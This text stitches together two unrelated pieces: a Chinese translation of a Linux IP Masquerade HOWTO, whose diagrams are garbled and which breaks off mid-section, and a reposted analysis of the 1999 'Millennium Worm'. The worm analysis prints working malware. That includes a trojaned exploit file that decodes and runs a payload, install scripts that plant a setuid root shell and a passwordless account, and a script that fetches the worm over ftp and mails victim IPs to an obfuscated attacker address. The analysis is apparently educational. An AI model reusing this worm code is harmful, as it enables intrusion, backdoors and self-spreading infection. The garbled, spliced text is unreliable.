    我发现新手在较新的核心上,像是 2.x 核心,设定 IP Masguerade时非常困惑。虽然有份常见问答集(FAQ) 与邮递列表(mailing list),然而没有一份这方面的专门文件;而且在邮递列表上有些对於这样一份说明文件(HOWTO) 的请求。所以,我决定撰写它给所有新手作为一个起点,并且希望能抛砖引玉,作为那些非常了解它的使用者建立文件的基础。如果你认为我做的不好,不要在意告诉我,这样我能把它做得更好。

  这份文件很多是以原先 Ken Eves 的常见问答集以及 ip_masq 邮递列表里许多有帮助的讯息作为基础。特别感谢 Mr. Matthew Driver在邮递列表中的讯息引发我设立 ip_masq 的灵感以及最後撰写了这份文件。

  如果我的任何资讯有误或遗漏任何资讯,请别介意把任何回馈或意见寄到 achau@wwonline.com 来。你的无价回馈将影响未来的这份说明文件!

  这份说明文件是想作为让你的 IP Masquerade 能在最短时间内运作的快速指引。最新的消息以及资讯可以在我所维护的 IP MasqueradeResource 网页上找到。如果你有任何关於 IP Masquerade 的技术问题,请加入 IP Masquerade 邮递列表而别寄电子邮件给我,因为我的时间有限,而且 IP_ Masq 的发展者们更有能力回答你的问题。

  这份文件最新的版本可以在 IP Masquerade Resource 上找到,里面也有 HTML 以及 postscript 的版本。

http://www.wwonline.com/~achau/ipmasq/    http://www.hwy401.com/achau/ipmasq/

http://www.leg.uct.ac.za/mirrors/ipmasq/  http://130.89.230.132/linux/ipmasq/

1.3. 版权&宣告

  这份文件版权属於 Ambrose Au, 而且是免费的文件。你可以在 GNU的通用公开授权方式下散播它。

  这份文件中的资讯跟其它内容都已经尽了我最大的努力。无论如何,ip_masq 是实验性的,而且我也可能会犯些错误;所以你应该自己决定是不是要照著这份文件中的资讯做。

  没有人会为使用这份文件中的资讯所造成的电脑损坏或其它损失负责。作者不对依照这份文件内容动作所造成的损害负责。

2. 背景知识

2.1. 什麽是 IP Masquerade?

    IP Masquerade 是 Linux 发展中的一种网路功能。如果一台 Linux主机使用 IP Masquerade 功能连线到网际网路上,那麽接上它的电脑(不论是在同一个区域网路上或藉由数据机连线)也可以接触网际网路,即使它们没有获得正式指定的 IP 位址。

    这使得一些电脑可以隐藏在闸道(gateway) 系统後面存取网际网路而不被发现,看起来就像只有这个系统在使用网际网路。突破设定良好的伪装(masquerade)系统之安全防护应该会比突破良好的封包过滤式防火墙(packet filter firewall)来得更加困难(假设两者之中都没有错误)。

2.2. 现况

  IP Masquerade 仍然在实验阶段。无论如何,核心从 1.3.x 开始已经内建这项支援。许多个人甚至公司正在使用它,而有满意的结果。

  浏览网页以及远端签入(telnet)已经有回报表示可以在 ip_masq 上运作。档案传输(FTP), 网路交谈(IRC) 以及聆听 Real Audio 现在可以载入某些模组配合。其它的网路资料流音讯 (streaming audio)像是 True Speech 以及 Internet Wave 也能运作。一些邮递列表中的使用夥伴甚至还尝试过视讯会议软体。 Ping 现在配合新近可以取得的网际网路控制讯息协定(ICMP)修补档也能运作。更完整的支援软体列表请参考 4.3 节。

  IP Masquerade 在数种不同的作业系统及平台上与’客户端机器’配合良好。成功的案例有使用 Unix , Windows95 , Windows NT ,Windows for Workgroup (with TCP/IP package) , OS/2, Macintosh System's OS with Mac TCP, Mac Open Transport, DOS with NCSA Telnet package, VAX, Alpha with Linux, 甚至 Amiga with AmiTCP or AS225-stack 的系统。

2.3. 谁可以从 IP Masquerade 中获益?

  如果你有台连接网际网路的 Linux 主几,而且如果你有一些执行 TCP/IP 连接到 Linux 机器的电脑在区域网路上,以及/或是如果你的 Linux 主机有一个以上的数据机并且作为 PPP 或 SLIP伺服器连接其它电脑,它们这些”其它”机器没有正式指定的 IP 位址。(这些机器从这里开始以後就称为”其它”机器)。而且当然,如果你希望这些”其它”机器不必花额外的费用就能连上网际网路:)

2.4. 谁不需要 IP Masquerade?

    如果你的机器是单独一台(stand-alone) 连接网际网路的 Linux主机,那麽执行 ip_masq 没什麽意义,或者如果你的”其它”机器拥有正式指定的 IP 位址,那麽你就不需要IP Masquerade ,而且当然,如果你不喜欢免费使用(free ride) 这个主意的话。

2.5. IP Masquerade 是如何运作的?

节自 Ken eves 的 IP Masquerade FAQ:

这是大部分简单的设定草图:



SLIP/PPP +------------+ +-------------+

to provider | Linux | SLIP/PPP | Anybox |

<---------- modem1| |modem2 modem | | 111.222.333.444 | | 192.168.1.100 | | +------------+ +-------------+ 上面的草图中一台安装并执行 ip_masquerading 的 Linux 机器使用 modem1 经由 SLIP/or/PPP 连接网际网路。它有一个 指定的 IP 位址 111.222.333.444。它设定 modem2 允许拨接者 签入并起始 SLIP/or/PPP 连结。 第二个系统(不必是执行 Linux 的系统)拨接进入 Linux 机器并起始 SLIP/or/PPP 连结。它在网际网路上并没有指定的 IP 位址所以它使用 192.168.1.100。(参阅下述) 配合 ip_masquerade 及适当递送配置(routing configured) Anybox 这台机器可以跟网际网路交流就如同它真的连在上面般 (除了少数例外)。 节录 Pauline Middelink: 别忘记提到 ANYBOX 应该把 Linux 机器当作它的闸道(无论是 预设递送路径或只是个子网路都没关系)。如果 ANYBOX 不能够 这样设, Linux 机器应该为所有要递送的位址做代理位址解析 析协定(proxy arp) 服务,但代理位址解析的设定超过这份文件 的□围。 下面节录自 comp.os.linux.networking 的一篇布告并且稍加编辑以 符合上述□例的用词: 。我告诉 ANYBOX 这台机器跑 slip 的 linux 机器是它的闸道。 。当一个封包从 ANYBOX 进入 linux 机器时,它会指定新的来源埠 号(source port number),把它自己的 ip 位址塞入封包的标头并 储存原来的。然後它将会藉由 SLIP/or/PPP 界面把修改过的封包 送上网际网路。 。当一个封包从网际网路来到 linux 机器时,如果埠号是上面指定 的其中一个,它将会取出原来的埠号以及 ip 位址,把它们放回封 包的标头,并且把封包送往 ANYBOX 。 。送出封包的主机将永远不知道其中的差别。 一个 IP Masquerading 的例子: 下面的图示是典型的例子: +----------+ | | Ethernet | abox |:::::: | |2 :192.168.1.x +----------+ : : +----------+ PPP +----------+ : 1| Linux | link | | ::::| masq-gate|:::::::::// Internet | bbox |:::::: | | | |3 : +----------+ +----------+ : : +----------+ : | | : | cbox |:::::: | |4 +----------+ <-Internal Network->

  在这个例子中我们考虑 4 台电脑系统(想必遥远的右方还有些东西让你到网际网路的 IP 连线能够连接,以及一些(远超过这一页)在网际网路上你有兴趣交换资讯的东西)。这个 Linux 系统伪装闸道是 abox, bbox, cbox 内部网路机器连接网际网路的伪装闸道。内部网路使用指定的私用(private) 网路位址,在这个案例中是 class C网路 192.168.1.0, linux 机器拥有位址 192.168.1.1 而’其它’系统也拥有此网路上的位址。

  这三台机器 abox, bbox 以及 cbox (它们可以执行任何作业系统-像是 Windows95, Macintosh MacTCP 或甚至是另一台 linux 机器,只要它们能了解 IP )可以连线到网际网路上的其它机器去,然而
这个伪装系统闸道转换它们所有的连线所以这些连线看起来像是原本即从伪装闸道本身发出的,而且还安排伪装连线传回的资料转回原先的系统-所以在内部网路上的系统看到的是直接通往网际网路的递送路径而且不知道他们的资料被伪装过。

2.6. 在 Linux 2.x 上使用 IP Masquerade 的需求核心 2.0.x 的原始程式码可以从这里取得ftp://ftp.funet.fi/pub/Linux/kernel/src/v2.0/(是的,你将得配合加入一些支援来编译你的核心....
建议最新的稳定版本)

  可载入核心模组,最好是 2.0.0 或更新的版本,可以从这里取得http://www.pi.se/blox/modules/modules-2.0.0.tar.gz(至少需要 modules-1.3.57 )


    设定良好的 TCP/IP 网路涵盖於 Linux NET-2 HOWTO及网路管理者指引(Network Administrator's Guide)。你的 Linux 主机的网际网路连线涵盖於 Linux ISP Hookup HOWTO,Linux PPP HOWTO 以及 Linux PPP-over-ISDN mini-HOWTO


  Ipfwadm 2.3 或更新的版本可以从这里取得ftp://ftp.xos.nl/pub/linux/ipfwadm/ipfwadm-2.3.tar.gz
在 Linux Ipfwadm 网页上有更多关於版本的资讯。你可以选择性地应用一些 IP Masquerade 修补档打开其它功能。从这里可以取的更多资讯, IP Masquerade Resources(这些修补档适用於所有的 2.0.x 核心)

3. IP Masquerade 的设定

    如果你的私用网路里有任何重要的资讯,在使用 IP Masquerade之前请三思。这可能成为你通往网际网路的闸道,反之亦然,也可能成为另一边的世界进入你私用网路的途径。

3.1. 编译核心加入 IP Masquerade 的支援。首先,你需要核心的原始程式码(最好是稳定的 2.0.0 版或以上的核心)。如果这是你第一次编译核心,不要害怕。事实上,这非常容易而且涵盖於 Linux Kernel HOWTO。使用指令: tar zxvf linux-2.0.x.tar.gz -C /usr/src 把核心的原始程式码解至 /usr/src/ , 其中 x 是 2.0 之後的修补层级(确定有个称为 linux 的目录或符号链结)。加上适当的修补。因为新的修补档不断出来,所以细节不会包含在这里。最新的资讯请参考 IP Masquerade Resources。有关编译核心更进一步的介绍请参考 Kernel HOWTO 以及核心原始程式码目录里的 README 档案。这里是你要编译进去的选项:

下列选项要回答 YES

* Prompt for development and/or incomplete code/drivers CONFIG_EXPERIMENTAL

- 这将让你能选择把实验性的 ip_masq 程式码编译到核心里去

* Enable loadable module support CONFIG_MODULES

- 让你能够载入模组

* Networking support  CONFIG_NET

* Network firewalls CONFIG_FIREWALL

* TCP/IP networking CONFIG_INET

* IP: forwarding/gatewaying CONFIG_IP_FORWARD

* IP: firewalling CONFIG_IP_FIREWALL

* IP: masquerading (EXPERIMENTAL) CONFIG_IP_MASQUERADE

- 这虽然是实验性的,但却是*必须*的

* IP: always defragment CONFIG_IP_ALWAYS_DEFRAG

- 高度建议

* Dummy net driver support CONFIG_DUMMY

- 建议使用

注意: 这些只是 ip_masq 所需要的,你还需选择其它任何你的设定需要的选项。

编译核心之後,你应该编译并安装模组:

make modules; make modules_install

然後你应该在 /etc/rc.d/rc.local (或任何你认为合适的档案)里加上几行以便每次启动时自动载入 /lib/modules/2.0.x/ipv4/里所需的模组:
.

.

.

/sbin/depmod -a

/sbin/modprobe ip_masq_ftp

/sbin/modprobe ip_masq_raudio

/sbin/modprobe ip_masq_irc

(以及其它像是 ip_masq_cuseeme, ip_masq_vdolive 等模组,如果

你有加上适当的修补)

.

.

.



注意: 你也可以在使用 ip_masq 之前手动地载入它,但是不要使用kerneld 来载入,这是不行的!

3.2. 指定私用网路的 IP 位址

因为所有’其它’机器都没有正式指定的位址,必须有个正确的方式来分配位址给这些机器。

节自 IP Masquerade FAQ:

有份 RFC(#1597) 是有关没有与外界连线的网路该使用什麽 IP 位址。有三个数字区块是特别为这个目的而保留的。其中一个我使用的是192.168.1.n 到 192.168.255.n 之间的 255 Class-C 子网路。

节自 RFC 1597:

第三节: 私用位址空间

网际网路位址指定当局(IANA: Internet Assigned Numbers Authority)已经保留下列三个区块的 IP 位址空间给私用网路:

10.0.0.0 - 10.255.255.255

172.16.0.0 - 172.31.255.255

192.168.0.0 - 192.168.255.255

我们将称第一个区块为”24位元区块”,第二个为”20位元区块”,而第三个则称为”16位元区块”。注意到第一个区块就只是个 class A 网路号码,第二个区块则是连续的 16 个 class B网路号码,而第三个区块是一组 255 个连续的 class C 网路号码。

所以,如果你要使用一个 class C 网路的话,那麽你的机器应该以192.168.1.1, 192.168.1.2, 192.168.1.3, ..., 192.168.1.x 来名之。

192.168.1.1 通常是闸道这台机器,在此即你连上网际网路的 Linux主机。注意 192.168.1.0 以及 192.168.1.x 分别为网路以及广播位址,是保留的。避免在你的机器上使用这些位址。

3.3. 配置”其它”机器

除了为每台机器设定适当的 IP 位址之外,你也应该设定适当的闸道。一般说来,这是非常直接了当的。你只需简单地输入 Linux 主机的位址(通常是 192.168.1.1)作为闸道位址。

关於领域名称服务,你可以加入任何 DNS 系统。最可能的应该是你Linux 使用的那一个。你也可以选择性地加上任何网域字尾( domain suffix) 。

在你重新配置这些 IP 位址之後,记得重新启动适当的服务或是重新开机。

下面的配置□例假设你使用一个 Class C 网路并且以 192.168.1.1作为 Linux 主机的位址。请注意 192.168.1.0 及 192.168.1.255是保留的。

3.3.1. 配置 Windows 95

1.如果你还没有安装网路卡以及界面驱动程式,现在做。

2.到’控制台/网路’里去。

3.如果你的网路配置里没有’TCP/IP 协定’则加进去。

4.在’TCP/IP 内容’中,选择’IP 位址’并且把 IP 位址设定为192.168.1.x,(1 VDOLive Windows, 配合 vdolive 修补档

注意: 即使不是由你呼叫别人,使用 ipautofw 套件某些客户端软体像是 IPhone 以及 Powwow 可能还是可以运作(参阅 4.6 节)

其它客户端软体

NCSA Telnet 2.3.08

DOS, 包含 telnet, ftp, ping 等等的一组套件。

PC-anywhere for windows 2.0

MS-Windows, 经由 TCP/IP 远端控制 PC ,只有在作为客户端而非主机端的情形下才能运作

Socket Watch

使用 ntp - 网路时间协定

Linux net-acct package

Linux, 网路帐号管理套件

4.3.2. 无法使用的客户端软体

Intel Internet Phone Beta 2

可以连上但声音只能单向(往外)传送

Intel Streaming Media Viewer Beta 1

无法连上伺服器

Netscape CoolTalk

无法连接对方

talk,ntalk

这将不会运作 - 需要撰写一份核心代理程式。

WebPhone

目前无法运作(它做了不合法的位址假设)。

X 没有测试过,但我想除非有人建立一套 X 代理程式否则它无法运作,这可能是 masquerading 程式码之外的一个外部程式。一个让它运作的方式是使用 ssh 作为链结并且使用其内部的 X 代理功能来执行!

4.3.3. 已测试过可以作为”其它”机器的平台/作业系统

Linux  。 Solaris  。 Windows 95  。 Windows NT (both workstation and server)

Windows For Workgroup 3.11 (with TCP/IP package)  。 Windows 3.1 (with Chameleon package)

Novel 4.01 Server  。 OS/2 (including Warp v3)  。 Macintosh OS (with MacTCP or Open Transport)

DOS (with NCSA Telnet package, DOS Trumpet works partially)

Amiga (with AmiTCP or AS225-stack)  。 VAX Stations 3520 and 3100 with UCX (TCP/IP stack for VMS)

Alpha/AXP with Linux/Redhat  。 SCO Openserver (v3.2.4.2 and 5)

IBM RS/6000 running AIX  (谁还测试过其它平台? )

4.4. IP Firewall Administration(ipfwadm)

这一节提供关於 ipfwadm 更深入的使用指引

这是一个给在固定 PPP 位址之 PPP 连线後面的防火墙/伪装系统使用的设定。信赖(trusted) 界面为 192.168.255.1, PPP 界面已经修改过以避免犯错 :) 。我分别列出每一个进入(incoming)以及送出
(outgoing)界面来抓出变更递送路径(stuffed routing) 以及/或是伪装(masquerading)等等这些个 IP spoofing 技巧。同时任何没有明确允许的东西都是禁止的。

!/bin/sh

/etc/rc.d/rc.firewall, 定义防火墙配置,从 rc.local 执行。

PATH=/sbin:/bin:/usr/sbin:/usr/bin

测试用,等待一段时间然後清除所有的防火墙规则。如果你希望防火墙十分钟之後自动关闭就取消下列几行的注解。

(sleep 600; \

ipfwadm -I -f; \

ipfwadm -I -p accept; \

ipfwadm -O -f; \

ipfwadm -O -p accept; \

ipfwadm -F -f; \

ipfwadm -F -p accept; \

进入伪装闸道的设定,更新以及设定拒绝的策略(policy)。事实上预设的策略没什麽关系,因为原先就希望拒绝以及记录所有规则

ipfwadm -I -f

ipfwadm -I -p deny

伪装闸道的本地(local) 界面,区域网路里的机器,允许连往任何地方

ipfwadm -I -a accept -V 192.168.255.1 -S 192.168.0.0/16 -D 0.0.0.0/0

伪装闸道的远端(remote)界面,声称是区域网路里的机器,IP spoofing

拒绝

ipfwadm -I -a deny -V your.static.PPP.address -S 192.168.0.0/16 -D 0.0.0.0/0 -o

伪装闸道的远端界面,任何来源,允许送往固定 (permanent) PPP

位址

ipfwadm -I -a accept -V your.static.PPP.address -S 0.0.0.0/0 -D

your.static.PPP.address/32

回授(loopback)界面是允许的

ipfwadm -I -a accept -V 127.0.0.1 -S 0.0.0.0/0 -D 0.0.0.0/0

捕捉所有规则,任何其它的进入方式都会被拒绝并记录。可惜没有记录用的选项但这可以代替

ipfwadm -I -a deny -S 0.0.0.0/0 -D 0.0.0.0/0 -o

送出伪装闸道的设定,更新以及设定拒绝的策略(policy)。事实上预设的策略没什麽关系,因为原先就希望拒绝以及记录所有规则

ipfwadm -O -f

ipfwadm -O -p deny

本地界面,允许任何来源送出至区域网路

ipfwadm -O -a accept -V 192.168.255.1 -S 0.0.0.0/0 -D 192.168.0.0/16

远端界面送出至区域网路,stuffed routing ,拒绝

ipfwadm -O -a deny -V your.static.PPP.address -S 0.0.0.0/0 -D 192.168.0.0/16 -o

区域网路的机器从远端界面送出,stuffed masquerading,拒绝

ipfwadm -O -a deny -V your.static.PPP.address -S 192.168.0.0/16 -D 0.0.0.0/0 -o

区域网路的机器从远端界面送出,stuffed masquerading,拒绝

ipfwadm -O -a deny -V your.static.PPP.address -S 0.0.0.0/0 -D 192.168.0.0/16 -o

任何其它远端界面送出的东西都是允许的

ipfwadm -O -a accept -V your.static.PPP.address -S your.static.PPP.address/32 -D

0.0.0.0/0

回授(loopback)界面是允许的

ipfwadm -O -a accept -V 127.0.0.1 -S 0.0.0.0/0 -D 0.0.0.0/0

捕捉所有规则,任何其它的送出方式都会被拒绝并记录。可惜没有记录用的选项但这可以代替

ipfwadm -O -a deny -S 0.0.0.0/0 -D 0.0.0.0/0 -o

伪装闸道的转送设定,更新以及设定拒绝的策略(policy)。事实上预设的策略没什麽关系,因为原先就希望拒绝以及记录所有规则

ipfwadm -F -f

ipfwadm -F -p deny

伪装区域网路的机器从本地界面送出至任何地方的资料

ipfwadm -F -a masquerade -W ppp0 -S 192.168.0.0/16 -D 0.0.0.0/0

捕捉所有规则,任何其它的转送方式都会被拒绝并记录。可惜没有记录用的选项但这可以代替

ipfwadm -F -a deny -S 0.0.0.0/0 -D 0.0.0.0/0 -o

你可以使用 -I, -O 或是 -F 来控制到某特定节点的流量。记得这些规则集是由上往下扫描的而 -a 代表”附加(append)”到目前现有的规则集中所以任何限制必须在全域(global)规则之前出现。例如(没测试过):-

使用 -I 规则。可能是速度最快的但是它只能阻止区域网路里的机器,防火墙本身仍然可以存取”禁止”的节点。当然你可能想允许这样的组合。

拒绝并记录本地界面,区域网路里的机器通往 204.50.10.13

ipfwadm -I -a reject -V 192.168.255.1 -S 192.168.0.0/16 -D 204.50.10.13/32 -o

本地界面,区域网路里的机器,允许通往任何地方

ipfwadm -I -a accept -V 192.168.255.1 -S 192.168.0.0/16 -D 0.0.0.0/0

使用 -O 规则。最慢,因为封包首先经过伪装但这个规则阻止防火墙存取禁止的节点。

拒绝并记录送出至 204.50.10.13 的资料

ipfwadm -O -a reject -V your.static.PPP.address -S your.static.PPP.address/32 -D

204.50.10.13/32 -o

允许任何其它远端界面送出的东西

ipfwadm -O -a accept -V your.static.PPP.address -S your.static.PPP.address/32 -D

0.0.0.0/0

使用 -F 规则。可能比 -I 慢而这仍然只能阻止伪装的机器(例如内部的机器),防火墙仍然可以取得禁止的节点。

拒绝并记录 PPP 界面送出从区域网路到 204.50.10.13 的资料。

ipfwadm -F -a reject -W ppp0 -S 192.168.0.0/16 -D 204.50.10.13/32 -o

伪装本地界面从区域网路送出至任何地方的资料。

ipfwadm -F -a masquerade -W ppp0 -S 192.168.0.0/16 -D 0.0.0.0/0

不需要有个特定的规则来允许 192.168.0.0/16 通往 204.50.11.0 ,这涵盖於全域规则中。

有一种以上的方法可以对界面设定上述规则。例如可以使用 -W eth0来取代 -V 192.168.255.1 ,可以使用 -W ppp0 来取代 -V your.static.PPP.address。个人的选择最重要。

4.5. IP Masquerade 以及随选拨接(Demand-Dial-Up)

1.如果你想把网路设定成自动拨接上网际网路,那麽 diald demand拨接套件将会是很棒的工具。

2.要设定 diald, 请查看 Setting Up Diald for Linux 网页

3.一但 diald 以及 IP masq 设定完成,你可以在任何客户端机器上启动 web, telnet 或是 ftp 连线。

4.Diald 将会侦测到进入系统的请求,然後拨接到你的 ISP 并建立连线。

5.第一次连线将会发生逾时(timeout) 的情形。如果你使用类比式的数据机那这是无可避免的。建立数据机连结以及 PPP 连线所花费的时间将会使你的客户端软体不耐。如果你使用 ISDN 连线那这是可以避免的。你得做的只是结束客户端软体现行的程序再重新启动即可。

4.6. IPautofw 封包转送程式

IPautofw是

一个给 Linux masquerading 使用的一般性 TCP 及 UDP 转送程式。一般使用需要 UDP 的套件的时候,需要载入特定的 ip_masq 模组;ip_masq_raudio, ip_masq_cuseeme,... Ipautofw 以更一般化的方式运作,它将会转送包含这些应用程式特定模组都不会转送的任何资料流型态。如果没有正确地管理这可能造成安全上的漏洞。

5. 其它(略)

一光年的距离 2009-04-23 18:01
分析一个linux下的蠕虫

Max Vision  译:quack  摘安全焦点

一、简介

千年蠕虫(The Millennium Internet Worm)——后面简称worm,是一段script及程序组成的,它执行的功能是利用linux系统的某些远程漏洞,获取该系统的进入权限,并且将自身复制到其上并继续繁殖。现在发现的worm是针对x86的linux中imap4v10.X,Qualcomm popper, bind , rpc.mountd 这些存在明显漏洞的服务进攻的。但它也做了一件好事——修补了安全漏洞……

二、技术分析

我们最早发现的蠕虫据称是在ADMmountd2的远程漏洞利用程序中的(这个程序是对linux的rpc.mountd服务进行攻击并可获取最高权限——这里不详述),但ADM组织否认曾经发布过带有该特洛伊程序的代码,并将其归类于假冒ADM作品,可以参见ftp://adm.freelsd.net/ADM/FAKES/ maintained by ndubee@df.ru].

这个木马是放在ADMmountd的所谓更新版本中,并在措词中表明这一版本的利用程序更为实用,但其实隐蔽的代码就躲在ADMgetip.c中,ADM在其站点限制了对这一工具的下载,所以这里我把它提供给大家,仅仅是用于教育目的——这一木马于1999-8-15被发现。

你可以在http://focus.silversand.net/newsite/tool/adm_fake.c下载ADMgetip-TROJAN-VERSION.c。

1、原型

该代码段中有一段mworm.tgz的uuencode代码,当运行该程序时,它会被展开于目录/var/tmp/tmp,并且执行一个名为wormup的程序,代码段如下:

//Trojan Code from ADMgetip.c

FILE *fp=fopen("/var/tmp/tmp","w"); //打开文件
if(getuid()!=0) { fprintf(stderr,"operation not permitted\n"); exit(0); }
//检查uid是否为root
fprintf(fp,"begin-base64 644 mworm.tgz
H4sIANpU/TYAA+xaD3CUx3XfOx1wHALEHxts4/hDRrYE0vHdSQJkgQsIYWhk
UCSQHSM4n+6+4ztxujvfHypiuwEr1DqEYsWeTp1MUhOctEnr6biMnSbFY8vA
YNyBlGB3ShonZVy3ORmSIZgabMtcf293v7vvOwk7k4k7k5l8o3f7vd23b9++
... [ large uuencoded mworm.tgz here ]
emgL0uE1iuMHR6u1MaA8jUhjOHm2+OzzGLqoNLv0SRpBuNS6XmDYdwe6Z55f
bYCEt3q80+XpdMU1NM8J2FDCra2crXTRduAMD0Johcwe8ODFVzDnnwNKJcF8
ivJ+7s3IgAEDBgwYMGDAgAEDBgwYMGDAgAEDPxS+AlHjZQIA+AIA
====\n"); //这是一段很长的uuecoded过的代码
system("( cd /var/tmp;uudecode < tmp ; sleep 1; tar xzvf mworm.tgz;\
./wormup ) >/dev/null 2>/dev/null &"); //解码并执行wormup程序

注意如果权限并非root的话,是无法继续的,该mworm.tgz展开后有如下文件:

Directory of /var/tmp

-rw-r--r-- 1 root root 51564 Aug 17 22:21 mworm.tgz
-rwxr-xr-x 1 root root 8647 Dec 31 1999 Hnamed*
-rwxr-xr-x 1 root root 5173 Dec 31 1999 Hnamed.c*
-rwxr-xr-x 1 root root 477 Dec 31 1999 IP*
-rwxr-xr-x 1 root root 1728 Dec 31 1999 README-ADMINS*
-rwxr-xr-x 1 root root 5749 Dec 31 1999 bd*
-rwxr-xr-x 1 root root 1340 Dec 31 1999 bd.c*
-rwxr-xr-x 1 root root 0 Dec 31 1999 cmd*
-rwxr-xr-x 1 root root 5292 Dec 31 1999 ftpscan*
-rwxr-xr-x 1 root root 911 Dec 31 1999 ftpscan.c*
-rwxr-xr-x 1 root root 8750 Dec 31 1999 ftpx*
-rwxr-xr-x 1 root root 5108 Dec 31 1999 ftpx.c*
-rwxr-xr-x 1 root root 2398 Dec 31 1999 getip.c*
-rwxr-xr-x 1 root root 6436 Dec 31 1999 im*
-rwxr-xr-x 1 root root 2634 Dec 31 1999 im.c*
-rwxr-xr-x 1 root root 151 Dec 31 1999 infect*
-rwxr-xr-x 1 root root 1 Dec 31 1999 infected*
-rwxr-xr-x 1 root root 2755 Dec 31 1999 ip_icmp.h*
-rwxr-xr-x 1 root root 6175 Dec 31 1999 mount.h*
-rwxr-xr-x 1 root root 5152 Dec 31 1999 mount.x*
-rwxr-xr-x 1 root root 2222 Dec 31 1999 mount_clnt.c*
-rwxr-xr-x 1 root root 3178 Dec 31 1999 mount_svc.c*
-rwxr-xr-x 1 root root 2366 Dec 31 1999 mount_xdr.c*
-rwxr-xr-x 1 root root 13048 Dec 31 1999 mountd*
-rwxr-xr-x 1 root root 7723 Dec 31 1999 mountd.c*
-rwxr-xr-x 1 root root 668 Dec 31 1999 mwd*
-rwxr-xr-x 1 root root 561 Dec 31 1999 mwd-ftp*
-rwxr-xr-x 1 root root 448 Dec 31 1999 mwd-imap*
-rwxr-xr-x 1 root root 355 Dec 31 1999 mwd-mountd*
-rwxr-xr-x 1 root root 529 Dec 31 1999 mwd-pop*
-rwxr-xr-x 1 root root 755 Dec 31 1999 mwi*
-rwxr-xr-x 1 root root 844 Dec 31 1999 mworm*
-rwxr-xr-x 1 root root 4617 Dec 31 1999 mwr*
-rwxr-xr-x 1 root root 407 Dec 31 1999 mwr.c*
-rwxr-xr-x 1 root root 5849 Dec 31 1999 mws*
-rwxr-xr-x 1 root root 1522 Dec 31 1999 mws.c*
-rwxr-xr-x 1 root root 1439 Dec 31 1999 pgp*
-rwxr-xr-x 1 root root 1226 Dec 31 1999 prepare*
-rwxr-xr-x 1 root root 5430 Dec 31 1999 q*
-rwxr-xr-x 1 root root 1350 Dec 31 1999 q.c*
-rwxr-xr-x 1 root root 6785 Dec 31 1999 qp*
-rwxr-xr-x 1 root root 2886 Dec 31 1999 qp.c*
-rwxr-xr-x 1 root root 5680 Dec 31 1999 remotecmd*
-rwxr-xr-x 1 root root 1834 Dec 31 1999 remotecmd.c*
-rwxr-xr-x 1 root root 7286 Dec 31 1999 test*
-rwxr-xr-x 1 root root 4355 Dec 31 1999 test.c*
-rwxr-xr-x 1 root root 1037 Dec 31 1999 wormup*


在该文件展开后,第一件事就是执行wormup代码,内容如下:

# cat wormup

#!/bin/sh
# MILLENNIUM WORM SETUP SCRIPT
# ./wormup -dist = create a new build
# ./wormup & = install the worm (root)
if [ x$1 = "x-dist" ]
then
echo "Creating Millennium Worm distribution."
indent *.c
rm -f *~
echo -n "Compiling: "
for C in Hnamed q bd im qp ftpscan mwr remotecmd ftpx mws test
do
rm -f $C
gcc -Wall -O2 ${C}.c -o $C
echo -n $C" "
done
rm -f mountd
rpcgen -C mount.x && gcc -Wall -O2 mountd.c -o mountd \
>/dev/null 2>/dev/null
echo "mountd ..done"
echo -n "Fixing misc. file stuff... "
printf "" > cmd
printf "0" > infected
chmod 755 *
touch -t 010100002000.00 *
echo "done."
rm -f mworm.tgz
tar czf mworm.tgz *
echo "Finished. mworm.tgz recreated."
exit 0
fi
if [ $UID != 0 ] ; then
echo You need root to screw up this machine, sorry.
exit 0
fi
cp /bin/sh /bin/.mwsh && chmod 4755 /bin/.mwsh
mkdir /tmp/.... && cp mworm.tgz /tmp/....
echo mw::2222:555:millennium worm:/:/bin/sh >>/etc/passwd
cd /tmp/.... && tar xzvf mworm.tgz
./mworm >/dev/null 2>/dev/null &
echo "Millennium Worm(tm). Phear thy unix like thyself."

这段代码做了以下几件事情

删除并且重新编译worm.tgz里的二进制文件。
准备通过网络感染的程序
给cmd文件清零,以便稍候使用
给infected文件清零,用来充当counter
将所有文件的许可权限设为755
将所有文件的时间戳设为2000-1-1, 00:00:00
重新将mworm.tgz这家伙打好包放在/var/tmp中

2、在本地机器上的行为

当它被安装于机器中时,该蠕虫会运行wormup脚本执行下面的工作:

建立一个没有密码的帐号mw
拷贝一个suid的root shell到/tmp/.mwsh
发动蠕虫

在蠕虫发动后,会有下列情况发生:

蠕虫会把自己加在/etc/rc.d/rc.local以及/etc/profile中将系统的IP地址发送到trax31337@hotmail.com这个email地址,通过随意地扫描并攻击网络其它主机,将自身复制到上面

3、在网络中的行为

任何被获得了root权限并安装了蠕虫的机器都会被激活并参与展开进攻感染行为,需要记住,该脚本有一
个-dist的选项并没有被马上使用到,首先我们先看它做什么:

建立一个suid的root shell/tmp/.mwsh
在/etc/passwd中加入一个名为mw,uid为2222,密码为空的帐号
将mworm.tgz展开到/tmp/...
执行mworm

#cat .mworm

#!/bin/.mwsh
# Millennium Worm by Anonymous
# If you found this on your machine, but didn't download it
# well.. you have a problem :)
export PATH="/bin/:/usr/sbin/:/usr/bin:/sbin:/usr/local/bin:."
export IP_A=`./IP`

./prepare for your d00m mortalz

cat << _EOF_ > cmd
mw
mw
mw
mw
mw
/bin/.mwsh -c "/usr/sbin/named" &
export PATH="/bin/:/usr/sbin/:/usr/bin:/sbin:/usr/local/bin:."
mkdir /tmp/....
cd /tmp/....
if [ -f /tmp/.X12 ]
then
logout
fi
ftp $IP_A
mw


cd /tmp/....
get mworm.tgz
bye
tar xvzf mworm.tgz
touch /tmp/.X12
nohup ./mworm &
./IP | mail `printf "\x74\x72\x61\x78\x33\x31\x33\x33\x37\x40\
\x68\x6f\x74\x6d\x61\x69\x6c\x2e\x63\x6f\x6d"`
logout
_EOF_

./mwd &
./mwd-pop &
./mwd-imap &
./mwd-mountd &
./mwd-ftp &
sleep 60
nohup ./mwd &
nohup ./mwd-pop &
nohup ./mwd-imap &
nohup ./mwd-mountd &
nohup ./mwd-ftp &

/bin/.mwsh -c ./bd


这段脚本看来是这个worm的核心所在了,它执行下面功能:

运行准备好的脚本——附于下面
建立一个cmd脚本——是将对目标机器执行的命令
发送email——包含该主机的IP地址——到trax31337@hotmail.com
发动守护进程mwd, mwd-pop, mwd-imap, mwd-mountd, and mwd-ftp
运行bd,这是一个后门,绑定端口1338并允许在收到验证密码为millennium后以root身份进入。

#cat prepare

#!/bin/.mwsh
# Millennium Worm Preparation File
# This sets up the stuff to make sure your
# machine will be owned in a neat and proper way ;D

